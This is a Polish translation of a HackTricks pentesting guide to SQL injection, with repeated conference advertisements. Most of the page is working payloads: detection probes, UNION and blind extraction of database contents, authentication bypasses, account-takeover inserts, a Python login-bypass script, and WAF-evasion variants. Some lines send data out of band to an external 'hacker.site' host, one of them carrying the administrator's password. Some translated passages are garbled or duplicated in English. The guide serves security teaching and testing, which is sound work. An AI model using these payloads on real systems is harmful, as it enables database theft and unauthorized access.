SQL Injection

Wstrzykiwanie SQL

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

​​​​RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.

Czym jest wstrzykiwanie SQL?

Wstrzykiwanie SQL to luka w zabezpieczeniach, która umożliwia atakującym interferowanie w zapytania do bazy danych aplikacji. Ta podatność może umożliwić atakującym wyświetlanie, modyfikowanie lub usuwanie danych, do których nie powinni mieć dostępu, w tym informacji innych użytkowników lub dowolnych danych, do których aplikacja ma dostęp. Takie działania mogą prowadzić do trwałych zmian w funkcjonalności lub treści aplikacji, a nawet do skompromitowania serwera lub odmowy usługi.

Wykrywanie punktu wejścia

Gdy strona wydaje się podatna na wstrzykiwanie SQL (SQLi) ze względu na nietypowe odpowiedzi serwera na wprowadzane dane związane z SQLi, pierwszym krokiem jest zrozumienie, jak wstrzyknąć dane do zapytania bez zakłócania go. Wymaga to zidentyfikowania metody ucieczki z bieżącego kontekstu. Oto kilka przykładów przydatnych technik:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Następnie musisz wiedzieć, jak naprawić zapytanie, aby nie było błędów. Aby naprawić zapytanie, możesz wprowadzić dane, aby poprzednie zapytanie zaakceptowało nowe dane, lub po prostu wprowadzić swoje dane i dodać symbol komentarza na końcu.

Zauważ, że jeśli widzisz komunikaty o błędach lub zauważasz różnice między działającym a niedziałającym zapytaniem, ta faza będzie łatwiejsza.

Komentarze

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Potwierdzanie za pomocą operacji logicznych

Niezawodną metodą potwierdzenia podatności na SQL injection jest wykonanie operacji logicznej i obserwacja oczekiwanych wyników. Na przykład, parametr GET taki jak ?username=Peter, który daje identyczne treści po zmodyfikowaniu na ?username=Peter' or '1'='1, wskazuje na podatność na SQL injection.

Podobnie, zastosowanie operacji matematycznych służy jako skuteczna technika potwierdzania. Na przykład, jeśli dostęp do ?id=1 i ?id=2-1 daje ten sam wynik, wskazuje to na SQL injection.

Przykłady potwierdzania za pomocą operacji logicznych:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Ta lista słów została stworzona w celu potwierdzenia wystąpienia SQL Injection w proponowany sposób:

Potwierdzanie za pomocą opóźnień

W niektórych przypadkach nie zauważysz żadnej zmiany na stronie, którą testujesz. Dlatego dobrym sposobem na odkrycie ślepych SQL Injection jest spowodowanie, że baza danych wykona działania, które wpłyną na czas ładowania strony. W związku z tym, do zapytania SQL dodamy operację, która zajmie dużo czasu na wykonanie:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

W niektórych przypadkach nie będzie dozwolone użycie funkcji sleep. W takim przypadku, zamiast korzystać z tych funkcji, można wykonać zapytanie, które wykona skomplikowane operacje i zajmie kilka sekund. Przykłady tych technik zostaną omówione oddzielnie dla każdej technologii (jeśli istnieją).

Identyfikacja Back-endu

Najlepszym sposobem na zidentyfikowanie back-endu jest próba wykonania funkcji różnych back-endów. Można użyć funkcji sleep z poprzedniej sekcji lub tych (tabela z payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Dodatkowo, jeśli masz dostęp do wyników zapytania, możesz sprawić, żeby wyświetlało wersję bazy danych.

W dalszej części omówimy różne metody wykorzystania różnych rodzajów SQL Injection. Jako przykład będziemy używać MySQL.

Identyfikacja za pomocą PortSwigger

Wykorzystywanie Union Based

Wykrywanie liczby kolumn

Jeśli możesz zobaczyć wyniki zapytania, to jest najlepszy sposób na jego wykorzystanie. Przede wszystkim musimy dowiedzieć się, ile kolumn zwraca początkowe zapytanie. Jest to konieczne, ponieważ oba zapytania muszą zwracać tę samą liczbę kolumn. Do tego celu zwykle stosuje się dwie metody:

Order/Group by

Aby określić liczbę kolumn w zapytaniu, stopniowo dostosowuj liczbę używaną w klauzulach ORDER BY lub GROUP BY, aż otrzymasz fałszywą odpowiedź. Pomimo różnych funkcjonalności GROUP BY i ORDER BY w SQL, obie mogą być używane w identyczny sposób do określenia liczby kolumn w zapytaniu.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Wybierz coraz więcej wartości null, aż zapytanie będzie poprawne:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Należy używać wartości null, ponieważ w niektórych przypadkach typy kolumn po obu stronach zapytania muszą być takie same, a null jest ważny w każdym przypadku.

Wyodrębnianie nazw baz danych, nazw tabel i nazw kolumn

W poniższych przykładach wyodrębniamy nazwę wszystkich baz danych, nazwę tabeli z bazy danych oraz nazwy kolumn w tabeli:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Istnieje różny sposób na odkrycie tych danych w każdej bazie danych, ale zawsze stosuje się tę samą metodologię.

Wykorzystywanie ukrytego wstrzykiwania opartego na unii

Gdy wynik zapytania jest widoczny, ale wstrzykiwanie oparte na unii wydaje się niemożliwe, oznacza to obecność ukrytego wstrzykiwania opartego na unii. Ten scenariusz często prowadzi do sytuacji ślepego wstrzykiwania. Aby przekształcić ślepe wstrzykiwanie w wstrzykiwanie oparte na unii, należy rozpoznać zapytanie wykonujące się po stronie serwera.

Można to osiągnąć poprzez wykorzystanie technik ślepego wstrzykiwania wraz z domyślnymi tabelami specyficznymi dla docelowego systemu zarządzania bazą danych (DBMS). W celu zrozumienia tych domyślnych tabel, zaleca się zapoznanie się z dokumentacją docelowego DBMS.

Po wydobyciu zapytania konieczne jest dostosowanie ładunku używanego do bezpiecznego zamknięcia oryginalnego zapytania. Następnie do ładunku dołączane jest zapytanie unii, ułatwiające wykorzystanie nowo dostępnego wstrzykiwania opartego na unii.

Aby uzyskać bardziej szczegółowe informacje, zapoznaj się z kompletnym artykułem dostępnym pod adresem Healing Blind Injections.

Wykorzystywanie błędów

Jeśli z jakiegoś powodu nie możesz zobaczyć wyniku zapytania, ale możesz zobaczyć komunikaty o błędach, możesz wykorzystać te komunikaty o błędach do wycieku danych z bazy danych. Postępując podobnie jak w przypadku wykorzystywania wstrzykiwania opartego na unii, możesz zdołać wydobyć bazę danych.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Wykorzystywanie Blind SQLi

W tym przypadku nie możesz zobaczyć wyników zapytania ani błędów, ale możesz rozróżnić, kiedy zapytanie zwraca odpowiedź true lub false, ponieważ na stronie są różne treści. W tym przypadku możesz wykorzystać to zachowanie, aby wyciągnąć bazę danych znak po znaku:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Wykorzystywanie Error Blind SQLi

To jest ten sam przypadek co wcześniej, ale zamiast rozróżniać między odpowiedzią prawdziwą/fałszywą z zapytania, możemy rozróżnić między błędem w zapytaniu SQL a jego brakiem (może to być spowodowane awarią serwera HTTP). W związku z tym, w tym przypadku możemy wymusić błąd SQL za każdym razem, gdy poprawnie zgadniemy znak:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Wykorzystywanie opóźnień w SQLi

W tym przypadku nie ma sposobu, aby rozróżnić odpowiedź zapytania na podstawie kontekstu strony. Jednak, możesz sprawić, że strona będzie dłużej się ładować, jeśli zgadnięty znak jest poprawny. Już wcześniej widzieliśmy wykorzystanie tej techniki w celu potwierdzenia podatności na SQLi.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Zapytania zagnieżdżone

Możesz użyć zapytań zagnieżdżonych, aby wykonać wiele zapytań kolejno. Należy zauważyć, że podczas wykonywania kolejnych zapytań, wyniki nie są zwracane do aplikacji. Dlatego ta technika jest głównie przydatna w przypadku ślepych podatności, gdzie można użyć drugiego zapytania do wywołania wyszukiwania DNS, błędu warunkowego lub opóźnienia czasowego.

Oracle nie obsługuje zapytań zagnieżdżonych. MySQL, Microsoft i PostgreSQL je obsługują: ZAPYTANIE-1-TUTAJ; ZAPYTANIE-2-TUTAJ

Wykorzystanie poza pasmem

Jeśli żadna inna metoda eksploatacji nie zadziała, możesz spróbować sprawić, aby baza danych wyciekła informacje do zewnętrznego hosta kontrolowanego przez ciebie. Na przykład, za pomocą zapytań DNS:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Wyciek danych poza pasmem za pomocą XXE

XXE (ang. XML External Entity) to atak, który wykorzystuje podatność w przetwarzaniu danych XML, umożliwiając wyciek informacji z systemu docelowego. W przypadku ataku XXE, atakujący może wykorzystać funkcję analizy danych XML, aby załadować zewnętrzne encje, które zawierają poufne informacje. Jedną z metod wykorzystywanych w ataku XXE jest wyciek danych poza pasmem (ang. out of band data exfiltration).

Wyciek danych poza pasmem polega na przesyłaniu skradzionych informacji z systemu docelowego do kontrolowanego przez atakującego serwera zewnętrznego. W przypadku ataku XXE, atakujący może wykorzystać funkcję analizy danych XML do wysłania żądania HTTP do kontrolowanego przez siebie serwera zewnętrznego, zawierającego skradzione dane. Atakujący może następnie monitorować serwer zewnętrzny, aby uzyskać dostęp do skradzionych informacji.

Aby przeprowadzić atak XXE z wyciekiem danych poza pasmem, atakujący musi znaleźć podatne miejsce w aplikacji, gdzie można wstrzyknąć złośliwy kod XML. Następnie atakujący może wykorzystać zewnętrzne encje XML, aby załadować dane z systemu docelowego i przesłać je do kontrolowanego przez siebie serwera zewnętrznego.

Atak XXE z wyciekiem danych poza pasmem jest szczególnie niebezpieczny, ponieważ atakujący może uniknąć wykrycia przez systemy zabezpieczeń, które monitorują tylko ruch sieciowy. Ponadto, atakujący może wykorzystać tę technikę do przesyłania danych przez protokoły, które nie są zwykle używane do przesyłania informacji, takie jak DNS lub FTP.

Aby zabezpieczyć aplikację przed atakiem XXE z wyciekiem danych poza pasmem, należy:

  • Unikać analizy danych XML z niezaufanego źródła.

  • Wyłączyć obsługę zewnętrznych encji XML.

  • Skonfigurować serwer XML w taki sposób, aby nie przetwarzał zewnętrznych encji.

  • Regularnie aktualizować oprogramowanie, aby uniknąć podatności na ataki XXE.

Pamiętaj, że ataki XXE mogą być bardzo niebezpieczne i mogą prowadzić do wycieku poufnych informacji. Dlatego ważne jest, aby zabezpieczyć aplikacje przed tą podatnością i regularnie testować ich bezpieczeństwo.

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automatyczne wykorzystanie

Sprawdź SQLMap Cheetsheat, aby wykorzystać podatność SQLi za pomocą sqlmap.

Informacje specyficzne dla technologii

Omówiliśmy już wszystkie sposoby wykorzystania podatności SQL Injection. Znajdź więcej sztuczek zależnych od technologii bazodanowej w tej książce:

Lub znajdziesz wiele sztuczek dotyczących: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL w https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

​​​​​RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Mając misję promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.

Ominięcie uwierzytelniania

Lista prób ominięcia funkcjonalności logowania:

pageLogin bypass List

Ominięcie uwierzytelniania za pomocą surowego skrótu

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Ten zapytanie prezentuje podatność, gdy MD5 jest używane z wartością true dla surowego wyjścia w sprawdzaniu uwierzytelniania, co czyni system podatnym na atak SQL injection. Atakujący mogą wykorzystać to, tworząc dane wejściowe, które po zahashowaniu generują nieoczekiwane części polecenia SQL, prowadząc do nieautoryzowanego dostępu.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Bypass uwierzytelniania za pomocą wstrzykniętego skrótu

W przypadku niektórych aplikacji internetowych, które przechowują hasła w formie skrótu (hash), można próbować obejść proces uwierzytelniania, wstrzykując odpowiedni skrót. Jeśli aplikacja nie wykonuje odpowiednich sprawdzeń, może dopuścić do zalogowania się bez podawania prawidłowego hasła.

Aby to zrobić, należy znaleźć sposób na wstrzyknięcie skrótu w odpowiednie pole uwierzytelniania. Można to zrobić poprzez manipulację parametrami żądania lub formularza logowania.

Warto zauważyć, że ta technika może być skuteczna tylko wtedy, gdy aplikacja nie wykonuje dodatkowych sprawdzeń, takich jak sprawdzanie integralności skrótu lub porównywanie go z przechowywanym hasłem.

Należy jednak pamiętać, że wstrzyknięcie skrótu jest nieetyczne i nielegalne. Tylko w przypadku legalnych testów penetracyjnych można używać tej techniki.

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Zalecana lista:

Jako nazwę użytkownika powinieneś użyć każdej linii z listy, a jako hasło zawsze: Pass1234. (Te payloady są również zawarte w dużej liście wspomnianej na początku tej sekcji)

GBK Bypass uwierzytelniania

Jeśli ' jest unikane, możesz użyć %A8%27, a kiedy ' jest unikane, zostanie utworzone: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Skrypt Pythona:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Wielokontekstowy wstrzyknięcie (poliglotyczne)

Polyglot injection, also known as multicontext injection, is a technique used in SQL injection attacks. It involves crafting a payload that can be interpreted as valid code in multiple contexts, such as SQL, XML, or JavaScript. This allows the attacker to exploit vulnerabilities in different parts of the application that handle different types of input.

Wielokontekstowe wstrzyknięcie, znane również jako wstrzyknięcie poliglotyczne, to technika stosowana w atakach SQL injection. Polega ona na tworzeniu ładunku, który może być interpretowany jako poprawny kod w wielu kontekstach, takich jak SQL, XML lub JavaScript. Pozwala to atakującemu wykorzystać podatności w różnych częściach aplikacji, które obsługują różne rodzaje danych wejściowych.

The advantage of using polyglot injection is that it increases the chances of successfully exploiting a vulnerability, as the payload can be effective in multiple contexts. It also makes it more difficult for security measures, such as input validation or filtering, to detect and block the malicious code.

Zaletą stosowania wstrzyknięcia poliglotycznego jest zwiększenie szans na skuteczne wykorzystanie podatności, ponieważ ładunek może być skuteczny w wielu kontekstach. Utrudnia to również wykrycie i zablokowanie złośliwego kodu przez środki bezpieczeństwa, takie jak walidacja lub filtrowanie danych wejściowych.

To perform a polyglot injection, the attacker needs to carefully craft the payload to ensure that it is valid in multiple contexts. This requires a deep understanding of the different syntax and rules of each context. The attacker also needs to identify the vulnerable parts of the application and determine the appropriate context to exploit.

Aby przeprowadzić wstrzyknięcie poliglotyczne, atakujący musi starannie opracować ładunek, aby upewnić się, że jest on poprawny w wielu kontekstach. Wymaga to dogłębnego zrozumienia różnych składni i zasad każdego kontekstu. Atakujący musi również zidentyfikować podatne części aplikacji i określić odpowiedni kontekst do wykorzystania.

It is important to note that polyglot injection is a complex technique that requires advanced knowledge and skills in hacking. It should only be used for ethical purposes, such as penetration testing, with proper authorization.

Warto zauważyć, że wstrzyknięcie poliglotyczne to zaawansowana technika, która wymaga zaawansowanej wiedzy i umiejętności w dziedzinie hakowania. Powinna być stosowana wyłącznie w celach etycznych, takich jak testowanie penetracyjne, z odpowiednią autoryzacją.

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Instrukcja Insert

Zmiana hasła istniejącego obiektu/użytkownika

Aby to zrobić, spróbuj utworzyć nowy obiekt o nazwie "obiekt główny" (prawdopodobnie admin w przypadku użytkowników), modyfikując coś:

  • Utwórz użytkownika o nazwie: AdMIn (duże i małe litery)

  • Utwórz użytkownika o nazwie: admin=

  • Atak obcinania SQL (gdy istnieje pewien rodzaj ograniczenia długości w nazwie użytkownika lub adresie e-mail) --> Utwórz użytkownika o nazwie: admin [dużo spacji] a

Atak obcinania SQL

Jeśli baza danych jest podatna, a maksymalna liczba znaków dla nazwy użytkownika wynosi na przykład 30, a chcesz podszyć się pod użytkownika admin, spróbuj utworzyć nazwę użytkownika o nazwie: "admin [30 spacji] a" i dowolne hasło.

Baza danych sprawdzi, czy wprowadzona nazwa użytkownika istnieje w bazie danych. Jeśli nie, obetnie nazwę użytkownika do maksymalnej dozwolonej liczby znaków (w tym przypadku do: "admin [25 spacji]") i automatycznie usunie wszystkie spacje na końcu, aktualizując w bazie danych użytkownika "admin" z nowym hasłem (może pojawić się pewien błąd, ale to nie oznacza, że nie zadziałało).

Więcej informacji: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Uwaga: Ten atak nie będzie już działał zgodnie z opisem powyżej w najnowszych instalacjach MySQL. Chociaż porównania nadal ignorują końcowe białe znaki domyślnie, próba wstawienia ciągu znaków dłuższego niż długość pola spowoduje błąd, a wstawienie się nie powiedzie. Aby uzyskać więcej informacji na ten temat, sprawdź: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert z opóźnieniem czasowym

Dodaj tyle ','','', ile uważasz za konieczne, aby wyjść z instrukcji VALUES. Jeśli wystąpi opóźnienie, masz SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Klauzula ON DUPLICATE KEY UPDATE w MySQL służy do określenia działań, które baza danych ma podjąć, gdy próba wstawienia wiersza spowoduje powstanie duplikatu wartości w indeksie UNIQUE lub PRIMARY KEY. Poniższy przykład pokazuje, jak można wykorzystać tę funkcję do modyfikacji hasła konta administratora:

Przykład wstrzyknięcia payloadu:

Payload wstrzyknięcia może zostać stworzony w następujący sposób, gdzie próbuje się wstawić dwa wiersze do tabeli users. Pierwszy wiersz jest podstępem, a drugi wiersz celuje w istniejący adres e-mail administratora z zamiarem aktualizacji hasła:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Oto jak to działa:

  • Zapytanie próbuje wstawić dwa wiersze: jeden dla generic_user@example.com i drugi dla admin_generic@example.com.

  • Jeśli wiersz dla admin_generic@example.com już istnieje, wywoływane jest polecenie ON DUPLICATE KEY UPDATE, które instruuje MySQL, aby zaktualizować pole password istniejącego wiersza na "bcrypt_hash_of_newpassword".

  • W rezultacie uwierzytelnienie może być następnie próbowane przy użyciu admin_generic@example.com z hasłem odpowiadającym skróconemu bcrypt ("bcrypt_hash_of_newpassword" reprezentuje skrót bcrypt nowego hasła, który powinien zostać zastąpiony rzeczywistym skrótem pożądanego hasła).

Wydobycie informacji

Tworzenie 2 kont jednocześnie

Podczas próby utworzenia nowego użytkownika i nazwy użytkownika, wymagane są hasło i adres e-mail:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Używanie systemu dziesiętnego lub szesnastkowego

Za pomocą tej techniki możesz wydobyć informacje, tworząc tylko 1 konto. Ważne jest zauważenie, że nie musisz komentować niczego.

Używając hex2dec i substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Aby uzyskać tekst, można użyć:

__import__('binascii').unhexlify(hex(215573607263)[2:])

Za pomocą hex i replace (oraz substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.

Wstrzyknięcie SQL z przekierowaniem

Wstrzyknięcie SQL z przekierowaniem to sytuacja, w której zapytanie podatne na wstrzyknięcie nie generuje wyniku, ale wynik zapytania podatnego na wstrzyknięcie jest przekierowywany do zapytania generującego wynik. (Z artykułu)

Przykład:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Początkowe bypassy stąd

Bypass bez spacji

Brak spacji (%20) - bypassowanie za pomocą alternatywnych białych znaków

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass używając komentarzy

W niektórych przypadkach, gdy atakujący nie może wstawić spacji w swoim kodzie SQL, może użyć komentarzy jako alternatywy. Komentarze są ignorowane przez parser SQL, więc można je wykorzystać do pominięcia białych znaków.

Komentarze jednolinijkowe

W przypadku komentarzy jednolinijkowych, atakujący może użyć podwójnego myślnika (--) lub znaku hash (#) jako znacznika komentarza. Wszystko po tym znaczniku zostanie zignorowane przez parser SQL.

Przykład:

SELECT * FROM users WHERE username='admin'--' AND password='password'

Komentarze wielolinijkowe

W przypadku komentarzy wielolinijkowych, atakujący może użyć znaczników /* i */ do oznaczenia obszaru komentarza. Wszystko pomiędzy tymi znacznikami zostanie zignorowane przez parser SQL.

Przykład:

SELECT * FROM users WHERE username='admin'/*' AND password='password'*/

W przypadku komentarzy wielolinijkowych, atakujący może również użyć znacznika # jako alternatywy dla /*.

Przykład:

SELECT * FROM users WHERE username='admin'#' AND password='password'

Podsumowanie

Wykorzystanie komentarzy jako alternatywy dla białych znaków może być przydatne w przypadkach, gdy atakujący nie może wstawić spacji w kodzie SQL. Umożliwia to pominięcie filtrów i wykonanie nieautoryzowanych zapytań SQL. Jednak należy pamiętać, że ta technika może być wykryta przez narzędzia do analizy kodu SQL, dlatego zawsze należy być ostrożnym i stosować inne metody, jeśli to możliwe.

?id=1/*comment*/and/**/1=1/**/--

Wstrzykiwanie SQL - Bypassowanie za pomocą nawiasów

Wstrzykiwanie SQL to technika ataku, która polega na wstrzykiwaniu złośliwego kodu SQL do aplikacji internetowej. Jednym z popularnych sposobów na obejście mechanizmów zabezpieczeń jest wykorzystanie nawiasów.

Bypassowanie za pomocą nawiasów

W przypadku, gdy aplikacja internetowa filtruje znaki białe (whitespace), można spróbować obejść to ograniczenie, wykorzystując nawiasy. Nawiasy są często dozwolone w zapytaniach SQL i mogą być użyte do wstrzyknięcia kodu SQL bez konieczności użycia znaków białych.

Przykład:

SELECT * FROM users WHERE username='admin' AND password=('' OR '1'='1')

W powyższym przykładzie, nawiasy są używane do wstrzyknięcia warunku, który zawsze jest prawdziwy (1=1). W ten sposób, niezależnie od wartości pola password, warunek zostanie spełniony i zwrócone zostaną wszystkie rekordy z tabeli users.

Podsumowanie

Bypassowanie filtracji znaków białych za pomocą nawiasów jest jednym z wielu sposobów na obejście mechanizmów zabezpieczeń wstrzykiwania SQL. Ważne jest jednak, aby pamiętać, że każda aplikacja może mieć inne mechanizmy zabezpieczeń i wymaga indywidualnego podejścia.

?id=(1)and(1)=(1)--

Bypass bez użycia przecinków

Bypass bez przecinków - użycie OFFSET, FROM i JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Ogólne obejścia

Czarna lista z użyciem słów kluczowych - obejście za pomocą wielkich/małych liter

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Czarna lista z użyciem słów kluczowych bez uwzględniania wielkości liter - obejście za pomocą operatora równoważnego.

W przypadku czarnej listy, która używa słów kluczowych do blokowania niebezpiecznych zapytań SQL, można próbować obejść to zabezpieczenie, korzystając z operatora równoważnego. Operator równoważny to operator, który wykonuje tę samą funkcję co operator porównania, ale nie uwzględnia wielkości liter. Można go użyć do wprowadzenia wartości, które są równoważne zablokowanym słowom kluczowym, ale mają inną wielkość liter.

Na przykład, jeśli słowo kluczowe na czarnej liście to "SELECT", można spróbować użyć operatora równoważnego, takiego jak "sElEcT" lub "sELECT", aby obejść blokadę. Operator równoważny pozwoli na wykonanie zapytania, pomimo że słowo kluczowe jest zablokowane na czarnej liście.

Warto jednak pamiętać, że to tylko jedna z wielu technik obejścia czarnej listy. Istnieje wiele innych metod, które można zastosować w zależności od konkretnego przypadku. Ważne jest również, aby pamiętać o etyce i legalności podczas wykonywania testów penetracyjnych.

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Bypass WAF za pomocą notacji naukowej

Możesz znaleźć bardziej szczegółowe wyjaśnienie tego triku na blogu gosecure. W zasadzie możesz użyć notacji naukowej w nieoczekiwany sposób, aby obejść WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Ominięcie ograniczeń nazw kolumn

Po pierwsze, zauważ, że jeśli oryginalne zapytanie i tabela, z której chcesz wydobyć flagę, mają taką samą liczbę kolumn, możesz po prostu użyć: 0 UNION SELECT * FROM flag

